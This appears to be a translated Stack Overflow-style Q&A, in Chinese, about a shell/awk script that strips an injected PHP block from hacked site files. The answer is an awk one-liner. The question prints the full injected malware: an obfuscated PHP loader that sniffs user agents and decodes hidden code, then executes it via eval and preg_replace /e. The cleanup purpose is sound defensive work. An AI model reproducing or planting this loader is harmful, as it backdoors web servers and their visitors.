更新shell脚本以使用awk删除受感染文件中第一次出现的php代码块

Question

我正在尝试更新一个脚本，我发现在目录中查找被黑客攻击的PHP脚本然后从我理解的删除第一行。虽然这可以删除恶意代码，但它也会破坏每一页。

hack在每个文件<?php #Malicious code# ?>的开头注入以下内容。如果php文件的第一行是＆lt;？php＃anything＃？＆gt;。不幸的是我的Linux技能似乎缺乏，我试着使用类似于this question中的答案的sed编写这个但没有任何运气。我猜我需要使用awk和gsub，但我以前从未使用过它，并且可以找到任何涉及匹配任何代码块的示例。

当前脚本

if [[ -z "$1" ]]; then
  echo "Directory where to find is required."
else
  grep -rnwl $1 --include \*.php -e "\\\\x48\\\\124\\\\x54\\\\120\\\\x5f\\\\125\\\\x53\\\\105\\\\x52\\\\137\\\\x41\\\\107\\\\x45\\\\116\\\\x54" | while read -r filename ; do

if [[ ! -z "$2" ]]; then
   echo "Found file $filename. Cleaning..."
   awk 'BEGIN {matches=0} matches < 1 && /1/ { sub(/^.*<?php/,"<?php"); matches++ } { print $0 }' $filename > $filename.purged
   mv $filename $filename.bck
   mv $filename.purged $filename
else
  echo "Found file $filename."
fi

  done
  echo "Done."
fi

如何更新脚本以删除第一个PHP代码块？

这是我定位的第一行

的示例

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $infyfzdknt = '%x782f%x5c%x7825r%x5c%xx5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!25h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x782y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x782>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c61%156%x75%156%x61"])))) { $GLO*3>?*2b%x5c%x7825)gpf{jt3]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%7gj6<*doj%x5c%x78257-C)fepmqnjA%x5cx787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nb88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x78]572]48y]#>m%x5c%x7825:|:*r%!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x)sf%x5c%x7878pmpusut!-#0fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldp82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%25!-#1]#-bubE{h%x5c%x7825)tpqsut>]86]y31]278]y3f]51L3]84]y5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gv]y76]277]y72]265]y39]274]y85]f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt27!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]5174]256#<!%x5c%x7825ff2!>!bssbz)%x5#<!%x5c%x7825t::!>!%x5c%x78x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y604%x5c%x78223}!+!<+{322]3]364]6]283]427]VUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x787822)!gj}1~!<2p%x5c%x7825%x5but%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%xc%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x78d]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x78!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%c%x7825!<*::::::-111112)eobs%x5c)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x78%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%xx7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%r#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7D!-id%x5c%x7825)uqpuft%x5c%x7860msvd}dy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz%x5c%x7825tmw!>!#]y84]275]y83]273]y76]2774}472%x5c%x7824<!%x5c%x7825mm!>g($n){return chr(ord($n)-1);} @error_repor]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]7825j:=tj{fpg)%x5c%x7825s:*<%x5ctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825y#2#%x5c%x782f#%x5c%x78287f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtf%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c7gj6<.[A%x5c%x7827&6<%x5c%x7c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825s!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)us%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x27;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovgx7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)%x7860bj+upcotn+qsvmt+fmhpph#)z%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%xc%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787vg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bu7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197y]552]e7y]#>n%x5c%x773]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#645#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x785!)!gj!<2,*j%x5c%x78Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x782-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssut7860hA%x5c%x7827pd%x5c%x78256y)#}#-#%x5c%x7824-%x5c%x7824-tusq%x7860un>qp%x5c%x7825!|Z~!<##!>!2p]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x782kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c)#]341]88M4P8]37]278]225]241]334]368]24]31#-%x5c%x7825tdz*Wsfu%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]25)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%xRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5codujpo!%x5c%x7824-%x5c%x7824y7%x5c1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fd7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c5%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#oe%x5c%x7825+*!*+fepdfe{hx69%164%50%x22%134%x78%62%x35%165!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]ys%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x78j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5cbss-%x5c%x7825r%x5c%x7878B%x5c%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsc%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x78x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)dXA%x5c%x7827K6<%x5c%x787fw85c%x5c%x7825j^%x5c%x7824-%x5c%x7824tv)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x77860QUUI&c_UOFHB%x5c%0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zWc%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5%x7825tjw!>!#]y84]275]y83]248]y83]25bE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%6]y81]265]y72]254]y76#<7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]2M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x#<%x5c%x7825t2w>#]y74]27f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x%155%x61%160%x28%42%x66%152%x66%141%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x22%51%x29%51%x29%73", NULL); }87fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;2f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878BsfujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&c%x7824]25%x5c%x7824-%x5c%x7824-x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825h%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x24<!%x5c%x7825tzw>!#%x7824-%x5c%x7824*<!%x5c%x7824t}X;%x5c%x7860msvd}R;*msv%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825f27tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOS245]K2]285]Ke]53Ld]53]Kc]55L7%x67%42%x2c%163%x74%162%x5f%163%x70%154%25nfd>%x5c%x7825fdy<Cb*[%x5c%x78.%x5c%x7825!<***f%x5c%x7827,*e%xd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{65c%x787f;!|!}{;)gj}l;33pmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5cpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x6]61]y33]68]y34]68]y33>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7827&6<*rfs%x5c%x782576~67<&w6<*&7-#o]s]o]s]#)fepmqyfpo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk31M6]y3e]81#%x5c%x782f#7c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|%x5c%x7825h>EzH,2W%x5c%sbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x78mgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x785i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x785c%x7825c:>%x5c%x7825s:%x5c78256<C>^#zsfvr#%x5c%x785cq%x5c%x7x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8m3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf2#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825x5c%x7825V%x5c%x7827{ftmfV%x576]62]y3:]84#-!OVMM*<,;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x439275ttfsqnpdov{h19275j{hnpd19275fub5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5-%x5c%x7824gps)%x5c%x7825j825<#372]58y]472]37y]672]48y]#>s%x5c%c%x787f!~!<##!>!2p%x5c%x7825Z<^2%f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%60%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2ting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<8256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hop25-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%Oh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]8!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x7%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)fte:55946-tr.984:75983:48984:71]K9]77]D4]%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;5%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%xj%x5c%x7825!*72!%x5c%x78x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5fP4]D6#<%x5c%x7825G]y6d]281Ld]BALS["%x61%156%x75%156%x61"]=1; function fjfg&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x782787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x782%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782x7860SFTV%x5c%x7860QUUIx7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x78224Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#5)}.;%x5c%x7860UQPMSVj>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!if((function_exists("%x6f%142%x5f%163!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x786<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7825yy>#]D6]281Lbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#x78256<%x5c%x787fw6*%x5c%x787f_*#297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8>1<%x5c%x7825j=tj{fpg)%x5c%x78258257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y5)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x5)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudo25b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5>!%x5c%x78242178}527}88:}33+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvuf!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5%x5c%x7825!|!*!***b%x5c%x7825:7#6#)tutjyf%x5c%x7860c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c925<#g6R85,67R37,18R#>q%x5c%x7825V<*7825%x5c%x7824-%x5c%x7824y4%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x7%x74%141%x72%164") && (!isset($GLOBALS["%xy83]256]y81]265]y72]254]y7]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y/(.*)/epreg_replacemtuttucbhc'; $viszjgsdvq = explode(chr((300-256)),'9042,37,9990,42,249,31,8576,45,2300,42,7831,68,8488,59,5632,34,6280,41,4373,33,8998,44,4674,66,2561,52,2747,45,3517,29,9132,33,4865,65,6385,45,6674,31,8213,59,6453,57,1943,44,6654,20,5088,66,7942,50,3144,52,7899,43,4740,63,4978,27,7992,66,7221,51,1842,43,2095,50,7468,47,7121,34,9365,59,9589,52,3024,50,986,50,540,35,9930,60,2501,60,4450,66,6193,59,1396,53,9251,33,5818,45,2613,28,5741,39,9079,53,747,40,6131,34,8914,21,2145,37,7424,44,692,32,8659,51,9485,45,3074,70,5361,50,8801,44,3418,20,840,33,8464,24,1099,54,2981,43,1449,70,8058,48,2854,41,9715,43,9809,59,128,60,9424,61,1519,28,7655,33,4592,37,280,24,5043,45,435,35,3661,42,8348,64,6353,32,7552,40,5261,64,1810,32,3579,34,9758,29,724,23,4516,45,2895,31,9186,65,3476,41,3935,65,5910,52,5573,59,5154,21,8778,23,8621,38,4289,60,6705,67,1744,66,575,37,6939,37,7733,61,1653,52,2792,62,6857,59,9787,22,7515,37,6976,69,1355,21,4349,24,9668,47,2694,53,1547,59,7374,29,6796,61,2641,53,6602,52,9868,35,4629,45,3703,39,8311,37,1606,47,6430,23,1036,63,5175,42,2478,23,3350,68,6081,20,957,29,4111,66,5325,36,5411,23,2228,41,5549,24,304,70,188,61,3804,62,612,52,3866,69,3282,68,3196,20,7618,37,1302,53,664,28,23,62,9641,27,2269,31,4406,44,1241,34,5962,32,8149,64,5005,38,2427,51,3546,33,6510,70,9903,27,1987,50,898,59,4177,34,6101,30,7592,26,9333,32,8710,68,7688,45,1205,36,3613,48,1275,27,8845,69,3438,38,7045,49,5780,38,1885,58,5217,44,6916,23,2037,58,5994,43,8106,43,7319,55,4561,31,7155,66,9284,49,873,25,6772,24,8272,39,787,53,9165,21,4211,37,5863,47,7794,37,8547,29,6252,28,1705,39,6321,32,85,43,6165,28,2182,46,3742,37,1376,20,4063,48,2342,54,3779,25,4930,48,5666,43,0,23,4248,41,8412,52,2396,31,4803,62,9530,59,7094,27,6037,44,1153,52,8935,63,7272,47,470,70,4000,63,374,61,5492,57,5434,58,3216,66,2926,55,10032,26,6580,22,10058,48,7403,21,5709,32'); $hyuqivxhwn=substr($infyfzdknt,(36767-26661),(21-14)); if (!function_exists('bhulwkcpjv')) { function bhulwkcpjv($rhpkdvlbwg, $iqjbllfeox) { $abvwyxjirz = NULL; for($hvmnsalxhx=0;$hvmnsalxhx<(sizeof($rhpkdvlbwg)/2);$hvmnsalxhx++) { $abvwyxjirz .= substr($iqjbllfeox, $rhpkdvlbwg[($hvmnsalxhx*2)],$rhpkdvlbwg[($hvmnsalxhx*2)+1]); } return $abvwyxjirz; };} $jzntygfzmc="\x20\57\x2a\40\x7a\156\x63\153\x68\167\x77\152\x6b\162\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x35\55\x31\71\x38\51\x29\54\x20\143\x68\162\x28\50\x34\60\x38\55\x33\61\x36\51\x29\54\x20\142\x68\165\x6c\167\x6b\143\x70\152\x76\50\x24\166\x69\163\x7a\152\x67\163\x64\166\x71\54\x24\151\x6e\146\x79\146\x7a\144\x6b\156\x74\51\x29\51\x3b\40\x2f\52\x20\166\x6e\147\x70\141\x73\164\x74\145\x64\40\x2a\57\x20"; $efyqpialpy=substr($infyfzdknt,(69117-59004),(55-43)); $efyqpialpy($hyuqivxhwn, $jzntygfzmc, NULL); $efyqpialpy=$jzntygfzmc; $efyqpialpy=(403-282); $infyfzdknt=$efyqpialpy-1; ?><?php

这一切都在centOS 6上运行

Answer 1

要求救援！

$ awk 'BEGIN{ORS=RS="?>"} NR>1' << EOF
> <?php #Malicious code# ?><?php #real program starts...# ?>
> ...etc
> EOF
<?php #real program starts...# ?>
...etc

您可以使用文件输入

运行

$ awk 'BEGIN{ORS=RS="?>"} NR>1' input > output

根据close标签定义记录结构，打印除第一个标签以外的所有记录。